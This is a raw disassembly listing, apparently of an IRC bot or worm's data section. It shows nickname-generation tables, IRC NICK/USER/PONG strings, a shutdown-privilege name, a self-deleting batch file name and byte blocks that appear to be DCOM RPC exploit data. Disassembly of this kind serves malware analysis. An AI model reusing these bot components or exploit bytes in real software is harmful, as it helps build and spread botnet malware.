dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_44F144
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_44EAE8 dd offset aSex_1 ; DATA XREF: sub_4156B7+41r
; sub_4156B7+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree_0 ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck_0 ; "|suck|"
dd offset aLuck_0 ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex_2 ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick_0 ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset aB_0 ; "b"
dd offset aC_1 ; "c"
dd offset aD_3 ; "d"
dd offset aE_1 ; "e"
dd offset aF_0 ; "f"
dd offset aG_0 ; "g"
dd offset asc_44F2FC ; "h"
dd offset aI_2 ; "i"
dd offset a__10 ; "_"
dd offset aJ_2 ; "j"
dd offset aK_1 ; "k"
dd offset asc_44F310 ; "l"
dd offset aM_4 ; "m"
dd offset aN_1 ; "n"
dd offset aO_1 ; "o"
dd offset aP_1 ; "p"
dd offset aQ_1 ; "q"
dd offset aRs ; "rs"
dd offset aT_1 ; "t"
dd offset aU_1 ; "u"
dd offset aV_0 ; "v"
dd offset aW_0 ; "w"
dd offset asc_44F33C ; "x"
dd offset aY_0 ; "y"
dd offset aZ_1 ; "z"
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset aZ_2 ; "z"
dd offset aG_1 ; "g"
dd offset aS_34 ; "s"
dd offset aQ_2 ; "q"
dd offset off_44F398
dd offset dword_44F39C
dd offset dword_4EECD4
dd offset dword_4EECD8
dd offset dword_44F3A4
dd offset dword_4EECDC
dd offset dword_4EECE0
dd offset dword_4EECE4
dd offset dword_4EECE8
dd offset dword_44F3A8
dd offset dword_44F3AC
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_1 ; "^^^f^"
dd offset aB_1 ; "b"
dd offset dword_4EECEC
dd offset aSleeping ; "Sleeping"
dd offset dword_4EECF0
dd offset dword_4EECF4
dd offset aFuck_0 ; "Fuck"
dd offset aFree_1 ; "Free"
dd offset dword_4EECF8
dd offset dword_4EECFC
dd offset asc_44F3E4 ; "X"
dd offset dword_4EED00
dd offset aBoy ; "BOY"
dd offset aGirl_1 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit_0 ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset aTot_0 ; "tot"
dd offset aLol_0 ; "lol"
dd offset aLoloA ; "lolo|a|"
dd offset aSex4free ; "|sex4free|"
dd offset a4us ; "|4us|"
dd offset a4you ; "{4you}"
dd offset a4u ; "|4u|"
dd offset a5u ; "5u"
dd offset a6u ; "6u"
dword_44EC80 dd 71h ; DATA XREF: .nsp0:off_44E7E8o
dword_44EC84 dd 77h ; DATA XREF: .nsp0:0044E7ECo
dword_44EC88 dd 65h ; DATA XREF: .nsp0:0044E7F0o
dword_44EC8C dd 72h ; DATA XREF: .nsp0:0044E7F4o
dword_44EC90 dd 74h ; DATA XREF: .nsp0:0044E7F8o
dword_44EC94 dd 79h ; DATA XREF: .nsp0:0044E7FCo
dword_44EC98 dd 75h ; DATA XREF: .nsp0:0044E800o
dword_44EC9C dd 69h ; DATA XREF: .nsp0:0044E804o
dword_44ECA0 dd 70h ; DATA XREF: .nsp0:0044E808o
dword_44ECA4 dd 61h ; DATA XREF: .nsp0:0044E80Co
dword_44ECA8 dd 73h ; DATA XREF: .nsp0:0044E810o
dword_44ECAC dd 64h ; DATA XREF: .nsp0:0044E814o
dword_44ECB0 dd 66h ; DATA XREF: .nsp0:0044E818o
dword_44ECB4 dd 67h ; DATA XREF: .nsp0:0044E81Co
dword_44ECB8 dd 68h ; DATA XREF: .nsp0:0044E820o
dword_44ECBC dd 6Ah ; DATA XREF: .nsp0:0044E824o
dword_44ECC0 dd 6Bh ; DATA XREF: .nsp0:0044E828o
dword_44ECC4 dd 6Ch ; DATA XREF: .nsp0:0044E82Co
dword_44ECC8 dd 7Ah ; DATA XREF: .nsp0:0044E830o
dword_44ECCC dd 78h ; DATA XREF: .nsp0:0044E834o
dword_44ECD0 dd 63h ; DATA XREF: .nsp0:0044E838o
dword_44ECD4 dd 76h ; DATA XREF: .nsp0:0044E83Co
dword_44ECD8 dd 62h ; DATA XREF: .nsp0:0044E840o
dword_44ECDC dd 6Eh ; DATA XREF: .nsp0:0044E844o
dword_44ECE0 dd 6Dh ; DATA XREF: .nsp0:0044E848o
dword_44ECE4 dd 51h ; DATA XREF: .nsp0:0044E84Co
dword_44ECE8 dd 57h ; DATA XREF: .nsp0:0044E850o
dword_44ECEC dd 45h ; DATA XREF: .nsp0:0044E854o
dword_44ECF0 dd 52h ; DATA XREF: .nsp0:0044E858o
dword_44ECF4 dd 54h ; DATA XREF: .nsp0:0044E85Co
dword_44ECF8 dd 59h ; DATA XREF: .nsp0:0044E860o
dword_44ECFC dd 55h ; DATA XREF: .nsp0:0044E864o
dword_44ED00 dd 49h ; DATA XREF: .nsp0:0044E868o
dword_44ED04 dd 4Fh ; DATA XREF: .nsp0:0044E86Co
dword_44ED08 dd 50h ; DATA XREF: .nsp0:0044E870o
dword_44ED0C dd 41h ; DATA XREF: .nsp0:0044E874o
dword_44ED10 dd 53h ; DATA XREF: .nsp0:0044E878o
dword_44ED14 dd 44h ; DATA XREF: .nsp0:0044E87Co
dword_44ED18 dd 46h ; DATA XREF: .nsp0:0044E880o
dword_44ED1C dd 47h ; DATA XREF: .nsp0:0044E884o
dword_44ED20 dd 48h ; DATA XREF: .nsp0:0044E888o
dword_44ED24 dd 4Ah ; DATA XREF: .nsp0:0044E88Co
dword_44ED28 dd 4Bh ; DATA XREF: .nsp0:0044E890o
dword_44ED2C dd 4Ch ; DATA XREF: .nsp0:0044E894o
dword_44ED30 dd 5Ah ; DATA XREF: .nsp0:0044E898o
dword_44ED34 dd 58h ; DATA XREF: .nsp0:0044E89Co
dword_44ED38 dd 43h ; DATA XREF: .nsp0:0044E8A0o
dword_44ED3C dd 56h ; DATA XREF: .nsp0:0044E8A4o
dword_44ED40 dd 42h ; DATA XREF: .nsp0:0044E8A8o
dword_44ED44 dd 4Eh ; DATA XREF: .nsp0:0044E8ACo
dword_44ED48 dd 4Dh ; DATA XREF: .nsp0:0044E8B0o
aSmartmir db 'SMARTMIR',0 ; DATA XREF: .nsp0:0044E8B4o
align 4
aFarooq db 'farooq',0 ; DATA XREF: .nsp0:0044E8B8o
align 10h
aMaxxguy db 'maxxguy',0 ; DATA XREF: .nsp0:0044E8BCo
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .nsp0:0044E8C0o
align 4
aEmilya db 'emilya',0 ; DATA XREF: .nsp0:0044E8C4o
align 4
aKrizha db 'KRIZHA',0 ; DATA XREF: .nsp0:0044E8C8o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: .nsp0:0044E8CCo
aSwin db 'swin',0 ; DATA XREF: .nsp0:0044E8D0o
align 4
aMale db 'male',0 ; DATA XREF: .nsp0:0044E8D4o
align 4
aKoko db 'koko',0 ; DATA XREF: .nsp0:0044E8D8o
align 4
aFlexster db 'flexster',0 ; DATA XREF: .nsp0:0044E8DCo
align 10h
aKen db 'ken',0 ; DATA XREF: .nsp0:0044E8E0o
aShez db 'Shez',0 ; DATA XREF: .nsp0:0044E8E4o
align 4
aTalika db 'talika',0 ; DATA XREF: .nsp0:0044E8E8o
align 4
aMarcy_0 db 'marcy',0 ; DATA XREF: .nsp0:0044E8ECo
align 4
aCme db 'cme',0 ; DATA XREF: .nsp0:0044E8F0o
aHeval db 'heval',0 ; DATA XREF: .nsp0:0044E8F4o
align 4
aBunty db 'bunty',0 ; DATA XREF: .nsp0:0044E8F8o
align 10h
aJanno db 'janno',0 ; DATA XREF: .nsp0:0044E8FCo
align 4
aRimpy db 'rimpy',0 ; DATA XREF: .nsp0:0044E900o
align 10h
aNastysha db 'nastysha',0 ; DATA XREF: .nsp0:0044E904o
align 4
aLuisa db 'Luisa',0 ; DATA XREF: .nsp0:0044E908o
align 4
aTroller db 'troller',0 ; DATA XREF: .nsp0:0044E90Co
aManee db 'manee',0 ; DATA XREF: .nsp0:0044E910o
align 4
aKermit_0 db 'kermit',0 ; DATA XREF: .nsp0:0044E914o
align 4
aPuregold db 'puregold',0 ; DATA XREF: .nsp0:0044E918o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: .nsp0:0044E91Co
align 4
aImra db 'imra',0 ; DATA XREF: .nsp0:0044E920o
align 4
aGirl_0 db 'GirL',0 ; DATA XREF: .nsp0:0044E924o
align 4
aCamel db 'CAMEL',0 ; DATA XREF: .nsp0:0044E928o
align 4
aReshma db 'reshma',0 ; DATA XREF: .nsp0:0044E92Co
align 4
aKencing db 'Kencing',0 ; DATA XREF: .nsp0:0044E930o
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .nsp0:0044E934o
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: .nsp0:0044E938o
align 4
aKaan38dent db 'kaan38dent',0 ; DATA XREF: .nsp0:0044E93Co
align 10h
aErkan27 db 'erkan27',0 ; DATA XREF: .nsp0:0044E940o
aHexaaa db 'hexaaa',0 ; DATA XREF: .nsp0:0044E944o
align 10h
aBerk19 db 'berk19',0 ; DATA XREF: .nsp0:0044E948o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .nsp0:0044E94Co
align 4
aIrmal db 'irmal',0 ; DATA XREF: .nsp0:0044E950o
align 10h
aMisssunday db 'misssunday',0 ; DATA XREF: .nsp0:0044E954o
align 4
aTolga34 db 'Tolga34',0 ; DATA XREF: .nsp0:0044E958o
aJericho db 'JERICHO',0 ; DATA XREF: .nsp0:0044E95Co
aMary_0 db 'MARY',0 ; DATA XREF: .nsp0:0044E960o
align 4
aAkin db 'AKIN',0 ; DATA XREF: .nsp0:0044E964o
align 4
aMelekk db 'melekk',0 ; DATA XREF: .nsp0:0044E968o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: .nsp0:0044E96Co
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .nsp0:0044E970o
align 4
aTekir db 'tekir',0 ; DATA XREF: .nsp0:0044E974o
align 10h
aVenedik34 db 'venedik34',0 ; DATA XREF: .nsp0:0044E978o
align 4
aSevmekmi db 'sevmekmi',0 ; DATA XREF: .nsp0:0044E97Co
align 4
aSudenur db 'SUDENUR',0 ; DATA XREF: .nsp0:0044E980o
aArzu db 'ARZU',0 ; DATA XREF: .nsp0:0044E984o
align 4
aHaticem db 'haticem',0 ; DATA XREF: .nsp0:0044E988o
aErnesto db 'ERNESTO',0 ; DATA XREF: .nsp0:0044E98Co
aAslii db 'aslii',0 ; DATA XREF: .nsp0:0044E990o
align 10h
aPiramit db 'PIRAMIT',0 ; DATA XREF: .nsp0:0044E994o
aSamyeli21 db 'samyeli21',0 ; DATA XREF: .nsp0:0044E998o
align 4
aRetg db 'RETG',0 ; DATA XREF: .nsp0:0044E99Co
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: .nsp0:0044E9A0o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: .nsp0:0044E9A4o
align 4
aAhmet db 'ahmet',0 ; DATA XREF: .nsp0:0044E9A8o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: .nsp0:0044E9ACo
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: .nsp0:0044E9B0o
align 4
aZack db 'ZACK',0 ; DATA XREF: .nsp0:0044E9B4o
align 4
aIzmir39m db 'Izmir39m',0 ; DATA XREF: .nsp0:0044E9B8o
align 10h
aAlbina db 'albina',0 ; DATA XREF: .nsp0:0044E9BCo
align 4
aAyla db 'AYLA-',0 ; DATA XREF: .nsp0:0044E9C0o
align 10h
off_44EFB0 dd offset byte_457441 ; DATA XREF: .nsp0:0044E9C4o
aAnkh db 'ankh',0 ; DATA XREF: .nsp0:0044E9C8o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: .nsp0:0044E9CCo
align 4
aBogac db 'bogac',0 ; DATA XREF: .nsp0:0044E9D0o
align 10h
aAlpay34m db 'alpay34m',0 ; DATA XREF: .nsp0:0044E9D4o
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: .nsp0:0044E9D8o
align 4
aDenizlim db 'DenizliM',0 ; DATA XREF: .nsp0:0044E9DCo
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: .nsp0:0044E9E0o
aDevran db 'devran',0 ; DATA XREF: .nsp0:0044E9E4o
align 4
aArda db 'arda',0 ; DATA XREF: .nsp0:0044E9E8o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .nsp0:0044E9ECo
aMurat34M db 'murat34-m',0 ; DATA XREF: .nsp0:0044E9F0o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: .nsp0:0044E9F4o
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: .nsp0:0044E9F8o
align 4
aRamtha db 'RAMTHA',0 ; DATA XREF: .nsp0:0044E9FCo
align 10h
aEmre db 'Emre--',0 ; DATA XREF: .nsp0:0044EA00o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: .nsp0:0044EA04o
align 4
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .nsp0:0044EA08o
align 10h
aKebikec db 'kebikec',0 ; DATA XREF: .nsp0:0044EA0Co
aFlord db 'FLoRD',0 ; DATA XREF: .nsp0:0044EA10o
align 10h
aHoly db 'holy',0 ; DATA XREF: .nsp0:0044EA14o
align 4
aMahinur db 'MAHINUR',0 ; DATA XREF: .nsp0:0044EA18o
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .nsp0:0044EA1Co
align 10h
aAykut1 db 'aykut1',0 ; DATA XREF: .nsp0:0044EA20o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: .nsp0:0044EA24o
align 4
aSeviseli db 'SeViSeLi',0 ; DATA XREF: .nsp0:0044EA28o
align 10h
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .nsp0:0044EA2Co
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: .nsp0:0044EA30o
aKumul db 'kumul',0 ; DATA XREF: .nsp0:0044EA34o
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: .nsp0:0044EA38o
align 4
aUmut db 'umut-',0 ; DATA XREF: .nsp0:0044EA3Co
align 4
aAnk32M db 'ANK-32-M',0 ; DATA XREF: .nsp0:0044EA40o
align 4
aDjspace db 'DJSPACE',0 ; DATA XREF: .nsp0:0044EA44o
aAnkar db 'Ankar',0 ; DATA XREF: .nsp0:0044EA48o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: .nsp0:0044EA4Co
align 4
aHayran db 'hayran',0 ; DATA XREF: .nsp0:0044EA50o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: .nsp0:0044EA54o
align 4
aKapk db 'kapk',0 ; DATA XREF: .nsp0:0044EA58o
align 10h
aAchilles db 'Achilles',0 ; DATA XREF: .nsp0:0044EA5Co
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: .nsp0:0044EA60o
align 4
aKotan db 'kotan',0 ; DATA XREF: .nsp0:0044EA64o
align 4
aSevda db 'sevda',0 ; DATA XREF: .nsp0:0044EA68o
align 4
off_44F144 dd offset byte_4B5245 ; DATA XREF: .nsp0:0044EA6Co
aAlcatras db 'alcatras',0 ; DATA XREF: .nsp0:0044EA70o
align 4
aA44m db 'a44m',0 ; DATA XREF: .nsp0:0044EA74o
align 4
aBirsen db 'birsen',0 ; DATA XREF: .nsp0:0044EA78o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: .nsp0:0044EA7Co
align 4
aDevre db 'devre',0 ; DATA XREF: .nsp0:0044EA80o
align 4
aErkan db 'erkan',0 ; DATA XREF: .nsp0:0044EA84o
align 4
aAnkm db 'ankM',0 ; DATA XREF: .nsp0:0044EA88o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: .nsp0:0044EA8Co
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: .nsp0:0044EA90o
align 4
aM41ist db 'M41IST',0 ; DATA XREF: .nsp0:0044EA94o
align 10h
aAdamm33 db 'AdAMM33',0 ; DATA XREF: .nsp0:0044EA98o
aFirtina db 'firtina',0 ; DATA XREF: .nsp0:0044EA9Co
aAta29 db 'Ata29',0 ; DATA XREF: .nsp0:0044EAA0o
align 4
aKoray db 'KORAY',0 ; DATA XREF: .nsp0:0044EAA4o
align 10h
aAkden db 'akden',0 ; DATA XREF: .nsp0:0044EAA8o
align 4
aIzmirlm db 'izmirlm',0 ; DATA XREF: .nsp0:0044EAACo
aUla db 'ula',0 ; DATA XREF: .nsp0:0044EAB0o
aNeHaber db 'NE-HABER',0 ; DATA XREF: .nsp0:0044EAB4o
align 10h
aPassenger db 'passenger',0 ; DATA XREF: .nsp0:0044EAB8o
align 4
aTropikal db 'tropikal',0 ; DATA XREF: .nsp0:0044EABCo
align 4
aCool30m db 'cool30m',0 ; DATA XREF: .nsp0:0044EAC0o
aCem39 db 'cem39',0 ; DATA XREF: .nsp0:0044EAC4o
align 4
aRerpjj db 'RERPJJ',0 ; DATA XREF: .nsp0:0044EAC8o
align 10h
aTeoman db 'TEOMAN```',0 ; DATA XREF: .nsp0:0044EACCo
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: .nsp0:0044EAD0o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: .nsp0:0044EAD4o
align 4
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .nsp0:0044EAD8o
align 10h
aAdamm db 'ADAMM',0 ; DATA XREF: .nsp0:0044EADCo
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: .nsp0:0044EAE0o
align 4
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .nsp0:0044EAE4o
align 10h
aSex_1 db 'sex',0 ; DATA XREF: .nsp0:off_44EAE8o
aLez db 'lez',0 ; DATA XREF: .nsp0:0044EAECo
aZex db 'zex',0 ; DATA XREF: .nsp0:0044EAF0o
aTree_0 db 'tree',0 ; DATA XREF: .nsp0:0044EAF4o
align 4
aBad db 'bad',0 ; DATA XREF: .nsp0:0044EAF8o
aLag db 'lag',0 ; DATA XREF: .nsp0:0044EAFCo
aTambe db '|tambe|',0 ; DATA XREF: .nsp0:0044EB00o
aWoh db '|woh|',0 ; DATA XREF: .nsp0:0044EB04o
align 4
aTot db '-|tot|',0 ; DATA XREF: .nsp0:0044EB08o
align 4
aSuck_0 db '|suck|',0 ; DATA XREF: .nsp0:0044EB0Co
align 4
aLuck_0 db '|luck|',0 ; DATA XREF: .nsp0:0044EB10o
align 4
aHub db '{hub}',0 ; DATA XREF: .nsp0:0044EB14o
align 4
aSex_2 db '{sex}',0 ; DATA XREF: .nsp0:0044EB18o
align 4
aGens db '{gens|',0 ; DATA XREF: .nsp0:0044EB1Co
align 4
aLuvuF db '||luvu-f|',0 ; DATA XREF: .nsp0:0044EB20o
align 4
aWiked db '|wiked|',0 ; DATA XREF: .nsp0:0044EB24o
aSick_0 db 'sick}}',0 ; DATA XREF: .nsp0:0044EB28o
align 4
aQ8 db 'Q8',0 ; DATA XREF: .nsp0:0044EB2Co
align 4
aQ8A db '|q8|a',0 ; DATA XREF: .nsp0:0044EB30o
align 4
aB_0: ; DATA XREF: .nsp0:0044EB34o
unicode 0, <b>,0
aC_1: ; DATA XREF: .nsp0:0044EB38o
unicode 0, <c>,0
aD_3: ; DATA XREF: .nsp0:0044EB3Co
unicode 0, <d>,0
aE_1: ; DATA XREF: .nsp0:0044EB40o
unicode 0, <e>,0
aF_0: ; DATA XREF: .nsp0:0044EB44o
unicode 0, <f>,0
aG_0: ; DATA XREF: .nsp0:0044EB48o
unicode 0, <g>,0
asc_44F2FC: ; DATA XREF: .nsp0:0044EB4Co
unicode 0, <h>,0
aI_2: ; DATA XREF: .nsp0:0044EB50o
unicode 0, <i>,0
a__10: ; DATA XREF: .nsp0:0044EB54o
unicode 0, <_>,0
aJ_2: ; DATA XREF: .nsp0:0044EB58o
unicode 0, <j>,0
aK_1: ; DATA XREF: .nsp0:0044EB5Co
unicode 0, <k>,0
asc_44F310: ; DATA XREF: .nsp0:0044EB60o
unicode 0, <l>,0
aM_4: ; DATA XREF: .nsp0:0044EB64o
unicode 0, <m>,0
aN_1: ; DATA XREF: .nsp0:0044EB68o
unicode 0, <n>,0
aO_1: ; DATA XREF: .nsp0:0044EB6Co
unicode 0, <o>,0
aP_1: ; DATA XREF: .nsp0:0044EB70o
unicode 0, <p>,0
aQ_1: ; DATA XREF: .nsp0:0044EB74o
unicode 0, <q>,0
aRs db 'rs',0 ; DATA XREF: .nsp0:0044EB78o
align 4
aT_1: ; DATA XREF: .nsp0:0044EB7Co
unicode 0, <t>,0
aU_1: ; DATA XREF: .nsp0:0044EB80o
unicode 0, <u>,0
aV_0: ; DATA XREF: .nsp0:0044EB84o
unicode 0, <v>,0
aW_0: ; DATA XREF: .nsp0:0044EB88o
unicode 0, <w>,0
asc_44F33C: ; DATA XREF: .nsp0:0044EB8Co
unicode 0, <x>,0
aY_0: ; DATA XREF: .nsp0:0044EB90o
unicode 0, <y>,0
aZ_1: ; DATA XREF: .nsp0:0044EB94o
unicode 0, <z>,0
aHappy db 'happy',0 ; DATA XREF: .nsp0:0044EB98o
align 10h
aRg db 'rg',0 ; DATA XREF: .nsp0:0044EB9Co
align 4
aTy db 'ty',0 ; DATA XREF: .nsp0:0044EBA0o
align 4
aGf db 'gf',0 ; DATA XREF: .nsp0:0044EBA4o
align 4
aRt db 'rt',0 ; DATA XREF: .nsp0:0044EBA8o
align 10h
aSdf db 'sdf',0 ; DATA XREF: .nsp0:0044EBACo
aUi db 'ui',0 ; DATA XREF: .nsp0:0044EBB0o
align 4
aLuvy db 'luvy',0 ; DATA XREF: .nsp0:0044EBB4o
align 10h
aTrimy db 'trimy',0 ; DATA XREF: .nsp0:0044EBB8o
align 4
aTruck db 'truck',0 ; DATA XREF: .nsp0:0044EBBCo
align 10h
aMuckc db 'muckc',0 ; DATA XREF: .nsp0:0044EBC0o
align 4
aZ_2: ; DATA XREF: .nsp0:0044EBC4o
unicode 0, <z>,0
aG_1: ; DATA XREF: .nsp0:0044EBC8o
unicode 0, <g>,0
aS_34: ; DATA XREF: .nsp0:0044EBCCo
unicode 0, <s>,0
aQ_2: ; DATA XREF: .nsp0:0044EBD0o
unicode 0, <q>,0
off_44F398 dd offset loc_425241+1 ; DATA XREF: .nsp0:0044EBD4o
dword_44F39C dd 6C62627Ch, 0 ; DATA XREF: .nsp0:0044EBD8o
dword_44F3A4 dd 5F7C5Fh ; DATA XREF: .nsp0:0044EBE4o
dword_44F3A8 dd 46h ; DATA XREF: .nsp0:0044EBF8o
dword_44F3AC dd 4Dh ; DATA XREF: .nsp0:0044EBFCo
aLuvu db 'LUVU',0 ; DATA XREF: .nsp0:0044EC00o
align 4
aSad db 'Sad',0 ; DATA XREF: .nsp0:0044EC04o
aF_1 db '^^^f^',0 ; DATA XREF: .nsp0:0044EC08o
align 4
aB_1: ; DATA XREF: .nsp0:0044EC0Co
unicode 0, <b>,0
aSleeping db 'Sleeping',0 ; DATA XREF: .nsp0:0044EC14o
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: .nsp0:0044EC20o
align 4
aFree_1 db 'Free',0 ; DATA XREF: .nsp0:0044EC24o
align 4
asc_44F3E4: ; DATA XREF: .nsp0:0044EC30o
unicode 0, <X>,0
aBoy db 'BOY',0 ; DATA XREF: .nsp0:0044EC38o
aGirl_1 db 'GIRL',0 ; DATA XREF: .nsp0:0044EC3Co
align 4
aGurl db 'gurl',0 ; DATA XREF: .nsp0:0044EC40o
align 4
aShit_0 db 'shit',0 ; DATA XREF: .nsp0:0044EC44o
align 4
aAha db 'aha',0 ; DATA XREF: .nsp0:0044EC48o
aYeah db 'yeah',0 ; DATA XREF: .nsp0:0044EC4Co
align 10h
aMuha db 'muha',0 ; DATA XREF: .nsp0:0044EC50o
align 4
aMof0 db 'mof0',0 ; DATA XREF: .nsp0:0044EC54o
align 10h
aMofo db 'mofo',0 ; DATA XREF: .nsp0:0044EC58o
align 4
aTot_0 db 'tot',0 ; DATA XREF: .nsp0:0044EC5Co
aLol_0 db 'lol',0 ; DATA XREF: .nsp0:0044EC60o
aLoloA db 'lolo|a|',0 ; DATA XREF: .nsp0:0044EC64o
aSex4free db '|sex4free|',0 ; DATA XREF: .nsp0:0044EC68o
align 4
a4us db '|4us|',0 ; DATA XREF: .nsp0:0044EC6Co
align 4
a4you db '{4you}',0 ; DATA XREF: .nsp0:0044EC70o
align 4
a4u db '|4u|',0 ; DATA XREF: .nsp0:0044EC74o
align 4
a5u db '5u',0 ; DATA XREF: .nsp0:0044EC78o
align 10h
a6u db '6u',0 ; DATA XREF: .nsp0:0044EC7Co
align 4
asc_44F464: ; DATA XREF: sub_415357+6o
dw 0Ah
unicode 0, <>,0
asc_44F468: ; DATA XREF: sub_41539E+Co
unicode 0, < >,0
asc_44F46C: ; DATA XREF: sub_41539E:loc_4153C4o
unicode 0, < >,0
aPing_1 db 'PING',0 ; DATA XREF: sub_41539E+52o
align 4
aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_41539E+69o
align 4
a433 db '433',0 ; DATA XREF: sub_41539E:loc_415417o
a432 db '432',0 ; DATA XREF: sub_41539E+8Ao
aNickS_8 db 'NICK %s',0Ah,0 ; DATA XREF: sub_41539E+C5o
align 4
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_415497+98o
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
a__2 db '-|`_\{[]}',0 ; DATA XREF: sub_4156B7+BCo
; sub_4156B7+175r ...
align 4
dword_44F4D4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: .nsp0:00415BA4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44F520 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: .nsp0:00415BE3o
; ---------------------------------------------------------------------------
loc_44F53C: ; DATA XREF: .nsp0:00415C18o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_44F550 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: .nsp0:00415C3Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_415ECC+72o
align 4
aMirc_2 db 'mIRC',0 ; DATA XREF: sub_415F91+5o
align 10h
aMirc_3 db 'mIRC',0 ; DATA XREF: sub_415F91+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_416016+1Co
align 4
aSS_5 db '%s %s',0 ; DATA XREF: .nsp0:004160FCo
align 10h
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_416138+2o
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41615A+48o
align 10h
